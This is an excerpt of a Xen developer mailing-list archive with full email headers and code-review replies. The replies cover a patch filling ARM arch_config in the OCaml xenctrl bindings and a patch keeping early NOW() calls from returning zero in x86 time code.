 b=KPlO5YPRElwLBynOyktdco89xNWmhV9r1H0sj6M9sEWQesmrA5GpP3blUk7vx07c+9a15JG7VHISJcdF6l+Hvs0H/a4Tmo/it/OVEFIsmddGcGux7EbIbwKD7Fx4rIGjjhFAvA9abaEKGPWtFMZzL51mEm+4gI1WSH1Bp1r9FxXrIknXnadtBnyMuAAGe6vl9YlLWdnd3kfsulApzxMJEdapO4F71jmupYFUw0vrc5W/I4KDrxSUAXQW8HgJp7DQpQVKuWiDfgfwRXoNLh4msdqwQ4CWvlD9TLiRom2+DW1Zw9Fh40gIir4WIQieHXJfAKFyGDt2J3+yUF0uk21+qQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=vTk7kxRR1Vy7EGYB8CdwlGfNwuujCkFstrVcPHfIxxM=;
 b=dBEkYvtn6qOJLLw4psKQEiEXeVu9colGC0JOVXEJH34Bm+bXXeVzNKlQlRBGoWT9awUfZLBhVRyYOLWmYvwlqkt6YxA5jKEqqXO5kAmyS5KQdSAPgRfIj/WVFm7t6VFXbPWH8fAUC9GLYP7BTtTVuUqb5/yeQ/uHwiNzy7Z4D2S7VVnr+GjAkjDx/M9SVVfqQpvTD5hZaa5Fwq7Rmm4yT/DlcHtm09LEi+pkGGf0Rfg1evxxQAUy96olgKS1VUAaPHl7c7Z2B/u0jEhQOZnXGUkiMkGm4uCeTiytC5Erj2OIKyh8M6ZtXTGkLvrBVqSP4RE/INOIC0x3dwq+IFosVA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=vTk7kxRR1Vy7EGYB8CdwlGfNwuujCkFstrVcPHfIxxM=;
 b=Xln0duth5PgdvCuqneQ+SLpbIDo8Xvxe5AZmBUPwztAp3G0HpCzujo/hXVtyxIZ2MzzEsDN8xSO0zaXphumpxYU33Pb1plNyXMRmvTCEvvlEO0GDA/05WYIyTuVFw2hN7DEms0QV3GyWSN6ZhQVMnqnnxXpmCjkQ+8D1JFQNOHo=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <65e4949a-6ca8-4ed7-936a-ed18d50a2e0f@citrix.com>
Date: Tue, 28 Jul 2026 10:51:46 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>
Subject: Re: [PATCH] tools/ocaml: fill arch_config for ARM in
 domain_getinfolist
To: Julian Vetter <julian.vetter@vates.tech>, xen-devel@lists.xenproject.org
References: <1785143496.8631fc262581453bbf619ec5b2062170.19fa2d80d54000e099@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi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PyVD1HNf8bgaqGDzrv3TfYjwqayRFcMf7xJaL9xXedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1785143496.8631fc262581453bbf619ec5b2062170.19fa2d80d54000e099@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO0P123CA0004.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:354::9) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|CH3PR03MB7342:EE_
X-MS-Office365-Filtering-Correlation-Id: 867fff78-e536-4e1c-21c5-08deec8dd884
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|10067099003|6133799003|56012099006|11063799006|22082099003|3023799007|18002099003;
X-Microsoft-Antispam-Message-Info:
	JGOSmV4PaF7l/2Xu6MMYbBYVHZ2ArcvuDEOblUCpPYsGVcKUoRocnvrPk8Of9NEwzI3hx5VwEUUYu+L8a1Vkw7HsElhs3AGFqJOVPrEAADxGv6bJDiLoPY2GNs1cjLnEbdb18o/Yu8TtcWXr//Au42oVAlMwS+hNfdPFCivMiI2zLWyrG8QCDyOTqsnEPHgDF7pwqBa52dHcZXXem6pRqjQggy5W2FYk194T80PAeNVLccV7hP9LlH1eT6dORZH85wlnc0ePF52Wk+yjxXWGrgu8RUZNkY+WxGfhwbVTpgL1JYN/1a+Fik+tFtV6yxgS34Q5ZkZ6SYI7VnLJ+8Yh6VDNM+53/ltHhytOej+h9mwRwejjTfrJeY9WCuRxTf7mnCv2c+AIXEECvSwHosvn0W0Wc2pTpEBg730z8vfkYPLh9j3r/pE3xV42dOAuHVctYTonWSFRjkdGysevGMwpr7B896934+sTxdazMX6wZ0yidNH/LaU18k6+TmK31qiBCk+/7hyrhupnAIVU328IzeNNRrtchoT8Z6PG3qeaFb7ErhQtPAys3qLuHSeKMLnHii3n/5aAUBtk1aEhfdSKIq+7EVWQL8qlU8HLbn9El8lFveepgx2ieexm7obEIz1XYjgx9I4nu/rr3eKP2K0ZwPzFBEWuAhkqIW1PKSG8PiI=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(10067099003)(6133799003)(56012099006)(11063799006)(22082099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dVcldsdThJc3J6UTU4S1RV?=
 =?utf-8?B?c012TkFpNE04elZ5MGhEYkZrem04UmlibnRnSlg5Z0JEVGxJcWNnaGRLN3Yw?=
 =?utf-8?B?aTVTT3MwZ0ZGa0U1Vk1nU09JWFgwdUZpMU45RWkveEtjMFBCWUs0cjV1SG91?=
 =?utf-8?B?Q1lTQjFNR3RDUzhIVXFjbGJ4ZHJEKytyblhLSGllbnM2ZFJFVS8vdFBLZXZW?=
 =?utf-8?B?QVBjcThNcmNSY1l4MkNoaUh2cFhwdkVPeW5yVTEzNlVqMHh6bUxnOFUyVUZj?=
 =?utf-8?B?d0wzRnZ6bkhDWlEzUFJ0Rit2YjNQTGl4d3ZSR0Y4QVRqc3RDZVdUTGN5RkJk?=
 =?utf-8?B?RjdkcW9CcWpKQ2wxRmJzMDNrcm5maXVnUG0vQ1U1Ym9hTlpSc0NJWmZxK290?=
 =?utf-8?B?RmRNeW5hZ2ZnZ3AwQTNZMTlqbTg4ck1lQkRZbmFvQVFTZ0FhSEhQc2NBN1lR?=
 =?utf-8?B?dnF1MEordkJOLy9ZNEJhWnhZbVBrRUVnMndyemh4aXRLQzB2L2tud3UvOWZS?=
 =?utf-8?B?NjNjRjBmcVhBL1FXeUpVMHZ6OTFDNmtteXZIa0YzRjNYVWZxTGxJY3cvMkdh?=
 =?utf-8?B?bjkyL1lvRzJlN0xUbDZWREJKbnFKbXJXbnMwbnpadTkwVElJTDF2emtvamhs?=
 =?utf-8?B?Qk4rd3U1WTVmMzZnckZRd1NHM1dKSTZBVldiR0pnMmdpVG5xTXA2UnRhcWwx?=
 =?utf-8?Q?SH1UY/EOrBOkh+N4=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 867fff78-e536-4e1c-21c5-08deec8dd884
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 09:51:50.1030
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: oVzy/gpzu8s+45PiZe9b8nSS3UwK14i43YCvnqhzehfKVZ1LYxKSnTB6QQY6VrkT7ZrHUBsfN8kFbAyOSQu1E2w9ilCkNmrA0nJs5avcSsk=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH3PR03MB7342
X-purgate-ID: tlsNG-42698a/1785232313-192CC9EA-9E15B542/0/0
X-purgate-type: clean
X-purgate-size: 2313

On 27/07/2026 10:11 am, Julian Vetter wrote:
> In the function alloc_domaininfo() the arch_config field in domaininfo
> is only filled inside #if defined(__i386__) || defined(__x86_64__). On
> ARM the field is left unpopulated. caml_alloc_tuple() does not zero new
> blocks, so di.Xenctrl.arch_config on ARM is uninitialised garbage for
> every caller of Xenctrl.domain_getinfolist/domain_getinfo. Any toolstack
> dereferencing that value, segfaults once a VM is enumerated in a domain
> scan.
>
> Add the missing ARM equivalent, populating xen_arm_arch_domainconfig
> from the raw xc_domaininfo_t the same way the x86 branch does for
> xen_x86_arch_domainconfig.
>
> Signed-off-by: Julian Vetter <julian.vetter@vates.tech>
> ---
>  tools/ocaml/libs/xc/xenctrl_stubs.c | 14 ++++++++++++++
>  1 file changed, 14 insertions(+)
>
> diff --git a/tools/ocaml/libs/xc/xenctrl_stubs.c b/tools/ocaml/libs/xc/xenctrl_stubs.c
> index 7f6381cdd2..b60ea9f12e 100644
> --- a/tools/ocaml/libs/xc/xenctrl_stubs.c
> +++ b/tools/ocaml/libs/xc/xenctrl_stubs.c
> @@ -415,6 +415,7 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
>  {
>  	CAMLparam0();
>  	CAMLlocal5(result, tmp, arch_config, x86_arch_config, emul_list);
> +	CAMLlocal1(arm_arch_config);
>  	int i;
>  
>  	result = caml_alloc_tuple(17);
> @@ -460,6 +461,19 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
>  
>  	Store_field(arch_config, 0, x86_arch_config);
>  
> +	Store_field(result, 16, arch_config);
> +#elif defined(__arm__) || defined(__aarch64__)
> +	/* xen_arm_arch_domainconfig */
> +	arm_arch_config = caml_alloc_tuple(3);
> +	Store_field(arm_arch_config, 0, Val_int(info->arch_config.gic_version));
> +	Store_field(arm_arch_config, 1, Val_int(info->arch_config.nr_spis));
> +	Store_field(arm_arch_config, 2, caml_copy_int32(info->arch_config.clock_frequency));
> +
> +	/* arch_config: arch_domainconfig */
> +	arch_config = caml_alloc_small(1, 0);
> +
> +	Store_field(arch_config, 0, arm_arch_config);
> +
>  	Store_field(result, 16, arch_config);
>  #endif
>  

Oops, this was unintentional, but obvious now you point it out.

While this patch works, it's continuing a bad pattern I accidentally
started.

I'll do a prep cleanup patch, and rebase this one on top.

~Andrew



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 10:01:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 10:01:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372318.1619678 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woecX-0007ir-Be; Tue, 28 Jul 2026 10:01:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372318.1619678; Tue, 28 Jul 2026 10:01:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woecX-0007ik-8s; Tue, 28 Jul 2026 10:01:09 +0000
Received: by outflank-mailman (input) for mailman id 1372318;
 Tue, 28 Jul 2026 10:01:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woecW-0007ie-4d
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 10:01:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woecV-002M47-HZ
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:01:07 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a687de3-bab6-0a2a0a5309dd-0a2a4507b59a-0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 12:01:07 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a687de1-b4ea-0a2a45070019-d155802ac8cb-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 12:01:05 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-4956869750eso27524215e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 03:01:05 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957bff4784sm290629245e9.4.2026.07.28.03.01.03
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 03:01:04 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785232865; x=1785837665; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=lpx2aid6gy0abl8xxEkqC6FysZqM94pHfw7hx0UNm6M=;
        b=BTBKRMeRapdFQxSk+cz1u/uu5nBUcrZVbIYcgq0QWV1r7TnxFOcLMnFcFatSVsBt/P
         9e8DfpV9VRvRUaSZajbb50izTrj6oCF/xAL/1kJ49hw2442A8wBl5xBac1QA2oTg8KKX
         9xpJhOH1VznJcM70ALBWvs8oeeE9zGYubhpqYBa/wlkMqAY3fX+UELMX55JLwWoFhR1m
         dmUweAxpYkm2kJ6v3CcIJhqH3dmteHqV4ONQJFJZBqdc+GtNdxie1KUqN2KifH4zxMEY
         2bgWjgGfMdB8GgTiRjG9OB50cEwF2NFz3rFyDnLHHqFEC8YVsO/KIdGs3LC4UgvgDh4Y
         31hQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785232865; x=1785837665;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=lpx2aid6gy0abl8xxEkqC6FysZqM94pHfw7hx0UNm6M=;
        b=SdV+o0Xe+ODcvd2VNYMriXpIIKj5sgZQGTk9vojeIahDFZsuk3n4tHY97jumX4dOdH
         ERf7PhP6+sJd450FX0rrV0AGVT5eyGaKL04ifefy6pt5WtGvzNC84KzIkuiuurfqhDG6
         8WxoweOWWYFxjoWSagFZ0ETJayQ9k6DE2CHM6eQxgHQVC+RJYX6j/S87tA7jnAC7szO1
         TF1CYwk5dVq8ZxrZnS10ppgKm/hYFqi8omSodk0P7g7BC87cV9j7n+i+cUxPmZY0TQJz
         7+wY8Zsq/AzMhkELWWNlf7sTb7b6E9iPCRWfG0DHr7yFnP7hUm5AkpreSlSvMPhj7BCa
         9jzg==
X-Gm-Message-State: AOJu0Yzp7Qs9LIbWkwLWj7tuqCT/H1GfAF+l+NMfc5NUMO7PzsnONaPS
	PWJzXiaFWRMcneuzbLMyk5WuCRdbpyf9mPtp72zDW3QRzyXrSPdTjYQkTD0l9MLfeQ==
X-Gm-Gg: AR+sD11MIAL+Lnp7V26KdKKiyvjEWJs01xoJ396OJlU8g1zRh6BSsBxyUPAwM6kIxe1
	XtsR4HtcaOdpth3x6mMa76gdlz0fe39GTzMxJoKXxOoDH/5CooVNMhntf3P0dpiPJWJSVRlyIkd
	87wdyyHRCsoMsp6vJqQHkz3mCJ2FZz9DTvjW9k1ycLb1SrsYIGJSpl3j5nIxCMsunBZplyocE4G
	1BBvPVknTz+69RlpANhm0cAd1ggF8pGjGIdX82X5aThF2GI5isD8qvAOwNI4aN1HGhBEuK9V4Lj
	/nm3McuUaal+EA9gRhEYTzIQVmCSzJWT/cIhB2oA2DkNCWdEIiGMSLptUhKtzL9+F/Wz8HKeR1/
	I2HxzCOUCEEq/mQRhP+NiThwO856zxTBrPOE09le++VHc16UJcuApsm5yjMaz2vAQU6JfaM5/O5
	Eu86EIWVEQPKqsdcD00IQSx37B+KrsqSg6//x3huoJkQhZ/kyEvyoRxmRp34em0ztIcA==
X-Received: by 2002:a7b:c016:0:b0:495:3eb2:b763 with SMTP id 5b1f17b1804b1-496c6568d56mr11615485e9.21.1785232865049;
        Tue, 28 Jul 2026 03:01:05 -0700 (PDT)
Message-ID: <f95aaae3-1e49-471f-9f44-ddd60309cbe7@suse.com>
Date: Tue, 28 Jul 2026 12:01:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 3/3] x86/time: avoid early uses of NOW() to return zero
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <a53601c4-dab7-4d75-9cf0-323acc980ede@suse.com>
 <amhrKd-736ymBrfD@macbook.local>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJld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gate-ID: tlsNG-ef75cf/1785232865-A54C3AE4-1F2653CA/0/0
X-purgate-type: clean
X-purgate-size: 3431

On 28.07.2026 10:41, Roger Pau MonnÃ© wrote:
> On Tue, Jun 30, 2026 at 04:06:41PM +0200, Jan Beulich wrote:
>> Waiting loops like the one in flush_command_buffer() will degenerate to
>> infinite ones when used early enough for NOW() to still return constant
>> zero. Make sure the returned value at least monotonically increases. When
>> available, use nominal frequency values as initial approximation.
>>
>> Do this only in get_s_time(), as producing a sane value in
>> get_s_time_fixed() for non-zero inputs won't be reasonably possible.
>> Put an assertion there.
>>
>> Reported-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>> ---
>> RFC: While generally the mentioned waiting loops will take longer to time
>>      out, on a very fast CPU tight loops may time out too early.
> 
> While we know this is not ideal, it's better than getting stuck in an
> infinite NOW() loop without any timeout.  IMO it's best to timeout
> early than not timeout at all.

Good, thanks for confirming.

>> RFC: On the 2nd pass through early_cpu_init() it may be okay to skip the
>>      new additions.
> 
> Possibly, yes, maybe add a static variable there to avoid re-doing?

I don't think a static would be needed: We can key this off of the function
parameter.

>> @@ -403,6 +404,36 @@ void __init early_cpu_init(bool verbose)
>>  				    &c->x86_capability[FEATURESET_7d1]);
>>  	}
>>  
>> +	if (c->cpuid_level >= 0x15) {
>> +		cpuid(0x15, &eax, &ebx, &ecx, &edx);
>> +
>> +		if (ecx && ebx && eax)
>> +			preset_tsc_scale(DIV_ROUND_UP(ecx * 1UL * ebx, eax));
>> +		else if (c->cpuid_level >= 0x16) {
>> +			/* Assume CPU base freq â‰ˆ TSC freq. */
>> +			cpuid(0x16, &eax, &ebx, &ecx, &edx);
>> +			if (eax)
>> +				preset_tsc_scale(eax * 1000000UL);
>> +			else if (ebx) /* See preset_tsc_scale() for why. */
>> +				preset_tsc_scale(ebx * 1000000UL);
>> +		}
>> +	} else if (c->vendor & (X86_VENDOR_AMD | X86_VENDOR_HYGON)) {
>> +		unsigned int nom_mhz = 0, hi_mhz = 0;
>> +
>> +		amd_process_freq(c, NULL, &nom_mhz, &hi_mhz);
>> +		if (nom_mhz)
>> +			preset_tsc_scale(nom_mhz * 1000000UL);
>> +		else if (hi_mhz) /* See preset_tsc_scale() for why. */
>> +			preset_tsc_scale(hi_mhz * 1000000UL);
>> +	} else if (c->vendor & X86_VENDOR_INTEL) {
>> +		unsigned int hi_mhz = 0;
>> +
>> +		/* See preset_tsc_scale() for why. */
> 
> I would avoid those repeated "See preset_tsc_scale() for why."
> comments, and simply state at the beginning of the block that either
> the nominal or the higher reported frequencies will be used, as in the
> worse case when using the high frequency the timer will run slower,
> but not faster.

Can do.

>> --- a/xen/arch/x86/time.c
>> +++ b/xen/arch/x86/time.c
>> @@ -1664,6 +1664,9 @@ s_time_t get_s_time_fixed(uint64_t at_ts
>>      const struct cpu_time *t = &this_cpu(cpu_time);
>>      uint64_t tsc, delta;
>>  
>> +    /* scale_delta() degenerates when the scale wasn't set yet. */
>> +    ASSERT(t->tsc_scale.mul_frac);
> 
> Hm, so for release builds we would just return 0 in get_s_time_fixed()
> when called before the scale is initialized.  I guess that's as good
> as we can do.  I wonder whether using BUG_ON() won't be better here,
> but it's likely best to return 0 than plain crash.

Yeah, crashing release builds because of this felt excessive to me.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 10:04:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 10:04:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372327.1619687 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woefw-0008Pf-RX; Tue, 28 Jul 2026 10:04:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372327.1619687; Tue, 28 Jul 2026 10:04:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woefw-0008PY-Oy; Tue, 28 Jul 2026 10:04:40 +0000
Received: by outflank-mailman (input) for mailman id 1372327;
 Tue, 28 Jul 2026 10:04:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <robin.murphy@arm.com>) id 1woefu-0008PS-OV
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 10:04:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woeft-00ApHs-Dj
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:04:37 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <robin.murphy@arm.com>)
 id 6a687eb0-bab6-0a2a0a5309dd-0a2a45019d30-20
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 12:04:36 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <robin.murphy@arm.com>)
 id 6a687eb3-5984-0a2a45010019-d98c6eacdcda-1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 12:04:36 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 0A3C61A9A;
 Tue, 28 Jul 2026 03:04:31 -0700 (PDT)
Received: from [10.2.212.23] (e121345-lin.cambridge.arm.com [10.2.212.23])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 65EF83F66F;
 Tue, 28 Jul 2026 03:04:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785233075; bh=+qX0PisZeeHdH3l6bVP09rcJGyaK5NPPSnPr7a+dMEw=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To:From;
	b=U/3yd7eegPyWLuJHUkzkeeGrphZ47PXls1SubSIWwjip58s0E+SE7riunJeIfLcPx
	 ppgx9yxl0tVjZeG4zkuT3BFqtreOyzfaMEugWDntUEB+T8lRsqdKjraMXdTxPkJLw5
	 t3w4/FCRW3AqW7K+EwdrIXYR/en1GCKKdGsfQmZ0=
Message-ID: <69b1235a-832b-4a00-bcfd-f51991d23488@arm.com>
Date: Tue, 28 Jul 2026 11:04:27 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v16 3/3] of: Respect #{iommu,msi}-cells in maps
To: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>,
 Neil Armstrong <neil.armstrong@linaro.org>, Nipun Gupta
 <nipun.gupta@amd.com>, Nikhil Agarwal <nikhil.agarwal@amd.com>,
 Joerg Roedel <joro@8bytes.org>, Will Deacon <will@kernel.org>,
